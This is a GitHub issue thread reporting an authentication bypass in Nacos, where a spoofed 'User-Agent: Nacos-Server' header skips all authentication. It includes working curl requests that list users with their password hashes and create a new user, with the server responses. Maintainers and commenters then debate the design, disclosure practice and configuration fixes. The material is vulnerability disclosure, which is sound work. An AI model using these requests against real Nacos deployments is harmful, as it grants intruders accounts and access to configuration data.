Report a security vulnerability in nacos to bypass authentication #4593

threedr3am · 2020-12-29T08:55:12Z

------------------------------------ english

Hello, my name is threedr3am. I found a security loophole in nacos authentication bypass. After nacos turns on authentication, you can still bypass authentication and access any http interface.

By default, nacos needs to modify the application.properties configuration file or add the JVM startup variable -Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html)

But after turning on the authentication, I found that in the code, the authentication can still be bypassed under certain circumstances and any interface can be called. Through this vulnerability, I can bypass the authentication and do:

Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console to access, modify, and add data.

1. Vulnerability details

The main sources of vulnerabilities are:

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

As you can see, there is an if judgment statement here. It judges that userAgent (http header-UserAgent) starts with the Constants.NACOS_SERVER_HEADER string (Nacos-Server) and skips any subsequent authentication.

According to my guess, the code here should be used to call nacos' http interface for some services in the intranet without authentication, but when I checked the official document, there was no explanation about this, and I checked the authentication When the authorization-related documents (https://nacos.io/en-us/docs/auth.html), it only describes how to enable authentication and the consequences of not enabling authentication.

But because of this, the user will think that through the configuration described in the authentication document, the nacos can be used safely after the authentication is configured, but because the UserAgent here is bypassed, the authentication is useless.

This is the importance of secure by default.

2. the scope of the vulnerability

Scope of influence:

2.0.0-ALPHA.1
1.x.x

3. Vulnerability recurrence

Access user list interface

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, the authentication is bypassed and the user list data is returned

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

Add new user

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

As you can see, authentication has been bypassed and new users have been added

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

View the user list again

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

As you can see, in the returned user list data, there is one more user we created by bypassing authentication.

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

Visit the homepage http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything

4. repair suggestions

By default, if authentication is enabled, the default UserAgent: Nacos-Server request should not be allowed to bypass authentication
The description of the relevant UserAgent: Nacos-Server request to bypass authentication should be added to the document

------------------------------------ 中文

你好，我是threedr3am，我发现了一个nacos的认证绕过安全漏洞，在nacos开启了鉴权后，依然能绕过鉴权访问任何http接口。

在默认情况下，nacos需要通过修改application.properties配置文件或添加JVM启动变量-Dnacos.core.auth.enabled=true即可开启鉴权功能 (参考：https://nacos.io/en-us/docs/auth.html)

但在开启鉴权后，我发现代码中，任然可以在某种情况下绕过认证，调用任何接口，通过该漏洞，我可以绕过鉴权，做到：

调用添加用户接口，添加新用户（POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test）,然后使用新添加的用户登录console，访问、修改、添加数据。

一、漏洞详情

漏洞主要根源在于：

com.alibaba.nacos.core.auth.AuthFilter#doFilter

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
        throws IOException, ServletException {
    
    if (!authConfigs.isAuthEnabled()) {
        chain.doFilter(request, response);
        return;
    }
    
    HttpServletRequest req = (HttpServletRequest) request;
    HttpServletResponse resp = (HttpServletResponse) response;
    
    String userAgent = WebUtils.getUserAgent(req);
    
    if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
        chain.doFilter(request, response);
        return;
    }
    
    ...
}

可以看到，此处有一个if判断语句，它判断了userAgent（http header - UserAgent）只要是以Constants.NACOS_SERVER_HEADER字符串（Nacos-Server）开头，则跳过后续的任何鉴权

据我猜测，该处代码应该是为了给内网中某些服务无需鉴权地调用nacos的http接口，但我在查看官方文档时，无任何一处对此作了说明，并且我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html)，它只描述了如何开启鉴权，以及不开启鉴权的后果。

但正是如此，使用者会认为，通过该鉴权文档描述的配置，配置鉴权之后就能安全使用nacos，结果却因为此处的UserAgent绕过，鉴权形同虚设。

这正是secure by default的重要性。进一步说，这可以说是一个后门了。

二、漏洞影响范围

影响范围：

2.0.0-ALPHA.1
1.x.x

三、漏洞复现

访问用户列表接口

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到，绕过了鉴权，返回了用户列表数据

{
    "totalCount": 1,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        }
    ]
}

添加新用户

curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'

可以看到，绕过了鉴权，添加了新用户

{
    "code":200,
    "message":"create user ok!",
    "data":null
}

再次查看用户列表

curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

可以看到，返回的用户列表数据中，多了一个我们通过绕过鉴权创建的新用户

{
    "totalCount": 2,
    "pageNumber": 1,
    "pagesAvailable": 1,
    "pageItems": [
        {
            "username": "nacos",
            "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
        },
        {
            "username": "test",
            "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
        }
    ]
}

访问首页http://127.0.0.1:8848/nacos/，登录新账号，可以做任何事情

四、修复建议

默认情况下，如果开启了鉴权，应该不允许默认 UserAgent: Nacos-Server 请求可以绕过鉴权
文档中应该加入相关 UserAgent: Nacos-Server 请求绕过鉴权的描述

regards,
threedr3am

The text was updated successfully, but these errors were encountered:

KomachiSion · 2020-12-30T01:23:00Z

该agent用于服务间通信鉴权白名单，既然是白名单模式，就必然是忽略鉴权。由于是服务端之间使用，就是不推荐用户直接使用，因此不会在文档进行描述。

你这个问题就像nacos的默认管理员密码是nacos一样，因此你的修复建议无法采纳。

当然如果有更好的，不影响性能且不影响服务端间通信的修复方案，欢迎提出。

threedr3am · 2020-12-30T03:38:46Z

这个忽略鉴权，最大的问题是，没有在文档说明，对于大部分使用者来说，根本不知道会存在这样的一个机制（不看源码都不知道），虽说不推荐用户使用，但是这个机制默认就已经存在，等于是在用户毫不知情的情况下使用了，用户都不知道，何谈推荐不推荐呢。

我认为这个问题和nacos的默认密码是不一样的，用户在看到鉴权相关文档后，他自知自己开启了认证鉴权模式，那么，很大概率就知道需要修改账号密码（难道不是吗，账号密码我都不知道，我开启鉴权如何登陆控制台）。

我的修复建议是：

默认关闭该机制，需要人工开启
文档增加该方面的说明，并且建议“对于非服务间的通讯，过滤掉UserAgent Http header”

KomachiSion · 2020-12-31T02:26:38Z

对于如何判断非服务间的通讯 有方法吗？如果能够判断服务间通信，那我们也不用搞UserAgent了

KomachiSion · 2020-12-31T02:27:46Z

这个忽略鉴权，最大的问题是，没有在文档说明，对于大部分使用者来说，根本不知道会存在这样的一个机制（不看源码都不知道），虽说不推荐用户使用，但是这个机制默认就已经存在，等于是在用户毫不知情的情况下使用了，用户都不知道，何谈推荐不推荐呢。
我认为这个问题和nacos的默认密码是不一样的，用户在看到鉴权相关文档后，他自知自己开启了认证鉴权模式，那么，很大概率就知道需要修改账号密码（难道不是吗，账号密码我都不知道，我开启鉴权如何登陆控制台）。
我的修复建议是：
默认关闭该机制，需要人工开启
文档增加该方面的说明，并且建议“对于非服务间的通讯，过滤掉UserAgent Http header”

本来就不是给用户用的而是自己内部使用的机制，在使用文档上说明不妥。用户不知道才是正确的。

KomachiSion · 2020-12-31T07:43:29Z

欢迎社区提供方案：
方案如果能解决这个问题，并且满足下列条件

不能影响服务端之间通信
不能有太大的性能损耗
低版本能够平滑过渡

社区非常愿意接受。

KomachiSion · 2020-12-31T08:13:18Z

我想到一个方法，即能勉强解决问题，又不影响现有机制。

当前这个识别是通过User-Agent 是Nacos-Server来判断，比较固定。如果修改成key和value都由用户配置是不是就好了。默认还是User-Agent 是Nacos-Server。如果有用户非要放外网环境，就让他自己设置这个内容。 key value都是他自己设置的。只有设置的人和正确设置的服务端能跳过鉴权。这样对内网环境用户升级就没有影响。继续用默认即可。

threedr3am · 2020-12-31T08:37:53Z

你的解决方式类似Http Basic Authentication，确实可行。建议当设置了用户自定义的key value后，默认的失效，而用户不自定义的话，就使用默认的User-Agent: Nacos-Server

还有，其实我觉得最重要的是让用户（指的是使用nacos的开发维护人员）知道有这个机制。

KomachiSion · 2021-01-04T01:44:43Z

你的解决方式类似Http Basic Authentication，确实可行。建议当设置了用户自定义的key value后，默认的失效，而用户不自定义的话，就使用默认的User-Agent: Nacos-Server
还有，其实我觉得最重要的是让用户（指的是使用nacos的开发维护人员）知道有这个机制。

如果采用这种方式，这个kv对的数量需要讨论下，是只允许有一对，还是可以有多种。

目前想法是只有一对，User-Agent: Nacos-Server只是一个缺醒值，用户设置的话就覆盖掉了。

threedr3am · 2021-01-04T07:46:04Z

你的解决方式类似Http Basic Authentication，确实可行。建议当设置了用户自定义的key value后，默认的失效，而用户不自定义的话，就使用默认的User-Agent: Nacos-Server
还有，其实我觉得最重要的是让用户（指的是使用nacos的开发维护人员）知道有这个机制。
如果采用这种方式，这个kv对的数量需要讨论下，是只允许有一对，还是可以有多种。
目前想法是只有一对，User-Agent: Nacos-Server只是一个缺醒值，用户设置的话就覆盖掉了。

我认为一对可行，若是多对kv的话，说不定可以给企业用户带来更好的自定义扩展

w2n1ck · 2021-01-11T02:41:31Z

后台应该还有类似的问题的其他接口，比如：

ldbfpiaoran · 2021-01-11T03:00:50Z

后台应该还有类似的问题的其他接口，比如：

尴尬不~~~~~~~~~~

coffeehb · 2021-01-11T03:11:51Z

NACOS1.1.4 fu x复现失败

threedr3am · 2021-01-11T04:17:02Z

NACOS1.1.4 fu x复现失败

鉴权功能应该是1.2.0才开始存在的，https://github.com/alibaba/nacos/releases/tag/1.2.0，https://github.com/alibaba/nacos/issues/1105

coffeehb · 2021-01-11T07:33:06Z

已经被RCE了，说不是漏洞？

threedr3am · 2021-01-11T07:41:51Z

好像这个问题影响还是挺大的，希望早点修复，因为动态配置的修改可能会导致其它的关联服务被入侵，比如spring application.properties里面的jdbc连接被改成恶意地址（h2）等等，会导致关联服务被执行恶意代码

check alibaba/nacos#4593

aqqwiyth · 2021-01-12T05:31:15Z

公网搜了一下 90+开了公网. RCE+DB密码.... 直接脱库

KomachiSion · 2021-01-13T06:05:21Z

#4683 临时处理了一下。
考虑到用户升级，默认开关是打开的，升级完成并设置统一key value后关闭开关后即可。

后续版本再想方案彻底移除吧

luvletter2333 · 2021-01-13T18:24:31Z

欢迎社区提供方案：
方案如果能解决这个问题，并且满足下列条件
不能影响服务端之间通信
不能有太大的性能损耗
低版本能够平滑过渡
社区非常愿意接受。

ip白名单机制？

lexburner · 2021-01-14T02:21:49Z

这种安全话题不适合公开讨论吧，nacos 没有 security 的 mailing list 吗？

snaigle · 2021-01-14T02:32:58Z

ua 可以搭配ip白名单来使用，默认不配置ip白名单
只有用户明确配置IP白名单的话ua才会生效，比kv 认证要好一些

haoel · 2021-01-14T03:47:14Z

该agent用于服务间通信鉴权白名单，既然是白名单模式，就必然是忽略鉴权。由于是服务端之间使用，就是不推荐用户直接使用，因此不会在文档进行描述。
你这个问题就像nacos的默认管理员密码是nacos一样，因此你的修复建议无法采纳。
当然如果有更好的，不影响性能且不影响服务端间通信的修复方案，欢迎提出。

回复所谓的“有没有更好的方案”这个问题

如果是要认证内部服务，有空可以读一下《HTTP API 认证术》
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code，做成可配置的。

如果用白名单的话，那就应该直接用白名单的方式，
为什么要用User-Agent 这种Hack和“架飞线”方式？！
反问一下，对于白名单功能，你们能想到最好的方式就是用User-Agent ？

vickerx · 2021-01-14T03:50:52Z

楼上说了很多，但是都没理解到nacos的意图，我做个分析。
分析了下Post的漏洞的代码，这块应该是做了两件事：

对于访问nacos管理后台的请求进行拦截（以下简称：管理）
对于微服务向nacos注册服务、心跳监控以及配置的请求不进行拦截（以下简称：服务）

对于微服务群来讲，所有微服务都是可信赖的，所以不需要认证，这个可以理解；而对于管理nacos来讲，管理端口通常会被暴露出来，所以需要认证的，这个也可以理解；造成这个漏洞的主要原因是将两者融合在一起。
解决的办法也是显而易见的：把这两个相关性不大的功能拆开
方案一：将管理和服务功能用不同的上下文来分离，可以参考actuator管理的实现方式
方案二：将管理和服务功能在路径上进行分离，管理路径要认证，服务路径不认证，文档上说明，暴露到公网时指定管理路径
如果我的理解有误，请帮忙指正 @KomachiSion

shenzhe · 2021-01-14T03:52:13Z

该agent用于服务间通信鉴权白名单，既然是白名单模式，就必然是忽略鉴权。由于是服务端之间使用，就是不推荐用户直接使用，因此不会在文档进行描述。
你这个问题就像nacos的默认管理员密码是nacos一样，因此你的修复建议无法采纳。
当然如果有更好的，不影响性能且不影响服务端间通信的修复方案，欢迎提出。
回得所谓的“有没有更好的”这个问题
如果是要认证内部服务，有空可以读一下《HTTP API 认证术》
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code，做成可配置的。
如果用白名单的话，那就应该直接用白名单的方式，
为什么要用User-Agent 这种Hack和“架飞线”方式？！
反问一下，对于白名单功能，你们能想到最好的方式就是用User-Agent ？

感觉这属于基本功不扎实啊。这种低级的设计都有？

yanlinly · 2021-01-14T04:19:21Z

感谢你反馈这个问题，我们这周会发布一个新的版本去解决这个问题。

再次我也谈一下我对这块的看法
1、Nacos是一个IDC内部的组件，不是暴露到公网上面的产品。大家不要把内部组件暴露到公网。
2、Nacos开源侧提供了简单的安全抽象和实现，核心初衷是防止业务错用影响别人，不是防止恶意攻击，我相信只要进入IDC，知道你产品信息，都比较容易去攻击。
3、安全设计属于Nacos功能的外围功能，后面我们会做好抽象扩展出去，按照每个公司自己的安全体系去扩展实现，简单的实现仅供参考。欢迎社区安全高手贡献这部分实现代码。

HaojunRen · 2021-01-14T05:03:21Z

我也来发表一下个人观点，仅供参考：

从注册中心层面，例如，Eureka连注册中心都没有，很多公司也依旧在使用Eureka，并没有暴露出安全问题。如果黑客真的要攻击Eureka，那他获得的数据没多大的价值
从配置中心层面，黑客攻击也许会有点点价值，但一般注重安全意识的公司，会加密脱敏一些重要的敏感数据，我个人认为加密算法应该是使用方自己去实现，不能是Nacos把算法通过开源方式提供
落地Nacos还是需要使用者在安全机制上进一步自己增强，当然Nacos方法提供很优秀的安全解决方案则更好

上述观点仅供参考

threedr3am · 2021-01-14T05:07:23Z

我也来发表一下个人观点，仅供参考：
从注册中心层面，例如，Eureka连注册中心都没有，很多公司也依旧在使用Eureka，并没有暴露出安全问题。如果黑客真的要攻击Eureka，那他获得的数据没多大的价值
从配置中心层面，黑客攻击也许会有点点价值，但一般注重安全意识的公司，会加密脱敏一些重要的敏感数据，我个人认为加密算法应该是使用方自己去实现，不能是Nacos把算法通过开源方式提供
落地Nacos还是需要使用者在安全机制上进一步自己增强，当然Nacos方法提供很优秀的安全解决方案则更好
上述观点仅供参考

关于第2点，请参考 alibaba/spring-cloud-alibaba#1910 这个spring-cloud-alibaba的一个安全report

shopee-jin · 2021-01-14T06:35:31Z

lmao a

ChunMengLu · 2021-01-14T06:59:02Z

consul 的 acl 就做的很好有角色分读写，开发者还是要提高安全意识，暴露到公网就相当于裸奔，太可怕了。

大家都信任阿里大厂才迁移到 nacos，何况很多小公司小团队安全意识淡薄，明星开源项目就更加要注重安全。

fakejson · 2021-01-14T08:05:06Z

fastjson
nacos
阿里好样的

fakejson · 2021-01-14T08:06:27Z

never mind scandal and liber. NMSL

fakejson · 2021-01-14T08:11:51Z

我也来发表一下个人观点，仅供参考：
从注册中心层面，例如，Eureka连注册中心都没有，很多公司也依旧在使用Eureka，并没有暴露出安全问题。如果黑客真的要攻击Eureka，那他获得的数据没多大的价值
从配置中心层面，黑客攻击也许会有点点价值，但一般注重安全意识的公司，会加密脱敏一些重要的敏感数据，我个人认为加密算法应该是使用方自己去实现，不能是Nacos把算法通过开源方式提供
落地Nacos还是需要使用者在安全机制上进一步自己增强，当然Nacos方法提供很优秀的安全解决方案则更好
上述观点仅供参考

从配置中心层面 apollo 都有权限验证，就算在配置了asm来脱敏一些信息，我认为也需要鉴权。我算是明白了，为了快，安全都可以牺牲，fastjson是快了，nacos也是快了，结果裤子都被人脱了，🐎都被人日穿了

KomachiSion · 2021-01-14T08:44:23Z

楼上说了很多，但是都没理解到nacos的意图，我做个分析。
分析了下Post的漏洞的代码，这块应该是做了两件事：
对于访问nacos管理后台的请求进行拦截（以下简称：管理）
对于微服务向nacos注册服务、心跳监控以及配置的请求不进行拦截（以下简称：服务）
对于微服务群来讲，所有微服务都是可信赖的，所以不需要认证，这个可以理解；而对于管理nacos来讲，管理端口通常会被暴露出来，所以需要认证的，这个也可以理解；造成这个漏洞的主要原因是将两者融合在一起。
解决的办法也是显而易见的：把这两个相关性不大的功能拆开
方案一：将管理和服务功能用不同的上下文来分离，可以参考actuator管理的实现方式
方案二：将管理和服务功能在路径上进行分离，管理路径要认证，服务路径不认证，文档上说明，暴露到公网时指定管理路径
如果我的理解有误，请帮忙指正 @KomachiSion

如果仅是管理路径拦截，服务路径不拦截，可能很多非法的服务就能够注册订阅或者获取非法数据，如果没鉴权功能就算了，有鉴权的话还是要带上的。
如果区分路径或者路径可配置，是不是api路径就会不稳定？那客户端可能比较难处理。
如果需要区分的话，其实应该区分的是集群通信接口和客户端接口或openAPI，集群通信接口可以使用不同的方式进行鉴权。

我的理解Nacos就是属于一个内部型应用，不太会暴露在公网环境，请求基本都是可信环境的请求，目前的鉴权主要还是为了防止错用而影响其他应用，控制故障爆炸半径的思路去设计的。

这里的确是存在不少优化点，比如鉴权接口增加拓展性，以插件的形式接入，让社区安全大佬又更大的发挥空间，也让有强需求的用户能够对接他们认为安全的鉴权方式；2.0时候通过区分集群连接和客户端连接来进行不同的鉴权行为等。

主要问题点是大家对这个功能的理解不太一致，后续会在文档上补充说明。

KomachiSion · 2021-01-14T08:48:54Z

该agent用于服务间通信鉴权白名单，既然是白名单模式，就必然是忽略鉴权。由于是服务端之间使用，就是不推荐用户直接使用，因此不会在文档进行描述。
你这个问题就像nacos的默认管理员密码是nacos一样，因此你的修复建议无法采纳。
当然如果有更好的，不影响性能且不影响服务端间通信的修复方案，欢迎提出。
回复所谓的“有没有更好的方案”这个问题
如果是要认证内部服务，有空可以读一下《HTTP API 认证术》
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code，做成可配置的。
如果用白名单的话，那就应该直接用白名单的方式，
为什么要用User-Agent 这种Hack和“架飞线”方式？！
反问一下，对于白名单功能，你们能想到最好的方式就是用User-Agent ？

是的其实是应该做成可配置的。 1.4.1临时修改了一下，做成可配置的了。看前面的讨论也是这个结论。

主要还是社区前人实现的时候定位Nacos是一个内网应用，不太会暴露在公网环境，请求基本都是可信环境的请求。从设计上是防止正常内部使用者误操作导致其他人的故障的思路去设计的。

threedr3am · 2021-01-14T09:05:58Z

该agent用于服务间通信鉴权白名单，既然是白名单模式，就必然是忽略鉴权。由于是服务端之间使用，就是不推荐用户直接使用，因此不会在文档进行描述。
你这个问题就像nacos的默认管理员密码是nacos一样，因此你的修复建议无法采纳。
当然如果有更好的，不影响性能且不影响服务端间通信的修复方案，欢迎提出。
回复所谓的“有没有更好的方案”这个问题
如果是要认证内部服务，有空可以读一下《HTTP API 认证术》
里面的HTTP Basic, OAuth/2的 Client Credential Flow可供借鉴。
这里的重点是——不要hard code，做成可配置的。
如果用白名单的话，那就应该直接用白名单的方式，
为什么要用User-Agent 这种Hack和“架飞线”方式？！
反问一下，对于白名单功能，你们能想到最好的方式就是用User-Agent ？
是的其实是应该做成可配置的。 1.4.1临时修改了一下，做成可配置的了。看前面的讨论也是这个结论。
主要还是社区前人实现的时候定位Nacos是一个内网应用，不太会暴露在公网环境，请求基本都是可信环境的请求。从设计上是防止正常内部使用者误操作导致其他人的故障的思路去设计的。

这里有个场景：

A公司在内网部署了一套nacos，管理员B可以使用他的最高权限账号
开发人员C把他的系统D接入了内网的nacos
管理员B通过最高权限账号，分配了一个低权限账号E给开发人员C，只允许管理系统D的配置信息
开发人员C鬼迷心窍，不使用账号E，在请求头加入UserAgent: Nacos-Server绕过了权限检查，通过内部网络任意访问nacos console中其他系统F、G、H...的配置，并且通过在配置中注入恶意代码，入侵其他系统

问题是，nacos的console设计，允许多用户、多角色、多权限，这是给人访问的，不是其他微服务，就算是内网，也是内部办公网可访问，办公网可访问的话，就一定不是可信的。这个问题的解决办法，就是分离console和config server。

yanlinly · 2021-01-14T09:28:46Z

大家都信任阿里大厂才迁移到 nacos，何况很多小公司小团队安全意识淡薄，明星开源项目就更加要注重安全。

其实很多暴露公网大部分都是大家测试用的，包括我们官网这个测试环境也是给大家测试，大部分用户不会生产网暴露公网出来。

从我们角度看，哪个内部组件放到公网上一定都被黑客搞死的。后面我们在产品文档中加强介绍生产网使用策略。

Riskerchan · 2021-01-14T09:30:50Z

这种安全事件问题，在issues里面讨论真的好吗？ >_<

Fatezhang · 2021-01-14T09:32:01Z

大家都信任阿里大厂才迁移到 nacos，何况很多小公司小团队安全意识淡薄，明星开源项目就更加要注重安全。
其实很多暴露公网大部分都是大家测试用的，包括我们官网这个测试环境也是给大家测试，大部分用户不会生产网暴露公网出来。
从我们角度看，哪个内部组件放到公网上一定都被黑客搞死的。后面我们在产品文档中加强介绍生产网使用策略。

您这个大部分简直太负责任了🐄🍺

Kilerd · 2021-01-14T09:34:10Z

如果文档里面没有提及这个问题，并且没有明确写出「不推荐把组建暴露到公网」的鲜明文案，那么用「大部分用户不会生产网暴露公网出来」这种所谓的行业习惯来混弄过关，不是蠢就是坏。
既然上面说的两点没有在文档中体现，那么这就是一个明显的BUG，老老实实承认不行吗？直接说明阿里的使用场景在内部，没有考虑到开源后各位使用者的不同使用场景就好了啊。
另外从技术卓越度来讲，即便是部署在内网的服务难道就不需要鉴权了吗？

Zheaoli · 2021-01-14T09:34:41Z

其实很多暴露公网大部分都是大家测试用的，包括我们官网这个测试环境也是给大家测试，大部分用户不会生产网暴露公网出来。
从我们角度看，哪个内部组件放到公网上一定都被黑客搞死的。后面我们在产品文档中加强介绍生产网使用策略。

@yanlinly 不是，老板，这个如上面所说，办公网/内网搞事也很危险的啊。不然哪天可能有用户直接上新闻，员工删 Nacos 跑路了

举个例子，B 员工上内网服务器，curl 一下带个特定 UA，就能拿最高权限。对于没有内控内审跳板机等安全机制的中小企业来说删了数据还查不出人，这样非常非常危险的。

再举个攻击面

不过如上面用户所说，这种事情，建议开一个专门的 mailing list 讨论最好。建议官方后面删除这个 issue 或者做脱敏处理。

vickerx · 2021-01-14T09:47:43Z

楼上说了很多，但是都没理解到nacos的意图，我做个分析。
分析了下Post的漏洞的代码，这块应该是做了两件事：
对于访问nacos管理后台的请求进行拦截（以下简称：管理）
对于微服务向nacos注册服务、心跳监控以及配置的请求不进行拦截（以下简称：服务）
对于微服务群来讲，所有微服务都是可信赖的，所以不需要认证，这个可以理解；而对于管理nacos来讲，管理端口通常会被暴露出来，所以需要认证的，这个也可以理解；造成这个漏洞的主要原因是将两者融合在一起。
解决的办法也是显而易见的：把这两个相关性不大的功能拆开
方案一：将管理和服务功能用不同的上下文来分离，可以参考actuator管理的实现方式
方案二：将管理和服务功能在路径上进行分离，管理路径要认证，服务路径不认证，文档上说明，暴露到公网时指定管理路径
如果我的理解有误，请帮忙指正 @KomachiSion
如果仅是管理路径拦截，服务路径不拦截，可能很多非法的服务就能够注册订阅或者获取非法数据，如果没鉴权功能就算了，有鉴权的话还是要带上的。
如果区分路径或者路径可配置，是不是api路径就会不稳定？那客户端可能比较难处理。
如果需要区分的话，其实应该区分的是集群通信接口和客户端接口或openAPI，集群通信接口可以使用不同的方式进行鉴权。
我的理解Nacos就是属于一个内部型应用，不太会暴露在公网环境，请求基本都是可信环境的请求，目前的鉴权主要还是为了防止错用而影响其他应用，控制故障爆炸半径的思路去设计的。
这里的确是存在不少优化点，比如鉴权接口增加拓展性，以插件的形式接入，让社区安全大佬又更大的发挥空间，也让有强需求的用户能够对接他们认为安全的鉴权方式；2.0时候通过区分集群连接和客户端连接来进行不同的鉴权行为等。
主要问题点是大家对这个功能的理解不太一致，后续会在文档上补充说明。

回复1. 我指的是nacos的管理功能会通过nginx这种反向代理到公网上，那么在公网上肯定是需要做认证的，nginx不去代理服务的路径，就无法从公网去访问服务的数据或注册订阅，将管理和服务的功能区分开。我理解如果微服务能够集群在一起，这个集群的环境整体上是安全的，集群内部是可信的，不需要鉴权，增加鉴权反而降低了通信效率。退一步讲，集群环境中一个微服务出现安全问题，所有微服务都得跟着遭殃。
回复2.微服务注册的接口，订阅的接口以及配置中心的接口等等，用固定的就好，不用做的很灵活，这个是nacos client和nacos server之间的协议，一般也不需要使用者去修改。
回复3.我理解你说的集群通信接口和客户端接口应该是指nacos server和nacos client的角色，我所指的“服务”指的是nacos server和nacos client，“管理”指的是通过nacos的web界面，对注册到nacos的服务进行管理及配置。

既然提供了管理界面，相信大部分人都会将这个功能通过公网暴露出来，方便自己对微服务进行管理。所以内部型应用是一个初衷，当带上管理的帽子，加以鉴权的功能，那么这个初衷就不成立了。

yanlinly · 2021-01-14T09:49:47Z

另外从技术卓越度来讲，即便是部署在内网的服务难道就不需要鉴权了吗？

关于问题解决处理上面我已经回复我就不再次重复了。我觉得内部组件不要暴露公网这个是一个常识。我们是可以做好说明的，但是我不能阻断别人违背这个常识。这个跟蠢跟坏没啥关系。

threedr3am · 2021-01-14T09:50:17Z

散了吧散了吧，越界了，受漏洞影响的用户，请升级到1.4.1版本https://github.com/alibaba/nacos/releases/tag/1.4.1，并且在conf/application.properties 配置中开启鉴权，以及启用新机制去避免被非法访问

nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb

恳请官方把我提的几个issue都做一下脱敏，或者删除吧，为何要通过issue提交安全漏洞，首先issue提交bug是惯例，其次最重要的是，除了温绍的fastjson、druid我可以找到ASRC报告以外，alibaba group中没有任何一个开源项目有security mail list。

threedr3am · 2021-01-14T09:53:35Z

还有，麻烦把这个issue也处理一下吧，最新机制的bypass
#4701

threedr3am · 2021-01-14T09:54:12Z

散了吧散了吧，越界了，受漏洞影响的用户，请升级到1.4.1版本https://github.com/alibaba/nacos/releases/tag/1.4.1，并且在conf/application.properties 配置中开启鉴权，以及启用新机制去避免被非法访问
nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity=aaa
nacos.core.auth.server.identity.value=bbb
恳请官方把我提的几个issue都做一下脱敏，或者删除吧，为何要通过issue提交安全漏洞，首先issue提交bug是惯例，其次最重要的是，除了温绍的fastjson、druid我可以找到ASRC报告以外，alibaba group中没有任何一个开源项目有security mail list。

忘了说，这个修复开启了也没用，#4701

Maijh97 added kind/bug kind/research labels Dec 30, 2020

KomachiSion added status/wontfix and removed kind/bug kind/research labels Dec 30, 2020

KomachiSion added the kind/discussion label Dec 31, 2020

KomachiSion added contribution welcome and removed status/wontfix labels Dec 31, 2020

kmahyyg mentioned this issue Jan 11, 2021
add alibaba nacos v1.x authentication bypass detection chaitin/xray#1011
Open

KomachiSion mentioned this issue Jan 13, 2021
[ISSUE #4593] Add server identity to replace user-agent white list. #4683
Merged
0 of 5 tasks complete

alibaba deleted a comment from ldbfpiaoran Jan 14, 2021

alibaba / nacos

Report a security vulnerability in nacos to bypass authentication #4593

Report a security vulnerability in nacos to bypass authentication #4593

Comments

threedr3am commented Dec 29, 2020•edited

1. Vulnerability details

2. the scope of the vulnerability

3. Vulnerability recurrence

4. repair suggestions

一、漏洞详情

二、漏洞影响范围

三、漏洞复现

四、修复建议

KomachiSion commented Dec 30, 2020

threedr3am commented Dec 30, 2020

KomachiSion commented Dec 31, 2020

KomachiSion commented Dec 31, 2020

KomachiSion commented Dec 31, 2020•edited

KomachiSion commented Dec 31, 2020

threedr3am commented Dec 31, 2020

KomachiSion commented Jan 4, 2021

threedr3am commented Jan 4, 2021

w2n1ck commented Jan 11, 2021

ldbfpiaoran commented Jan 11, 2021

coffeehb commented Jan 11, 2021

threedr3am commented Jan 11, 2021

coffeehb commented Jan 11, 2021

threedr3am commented Jan 11, 2021

aqqwiyth commented Jan 12, 2021
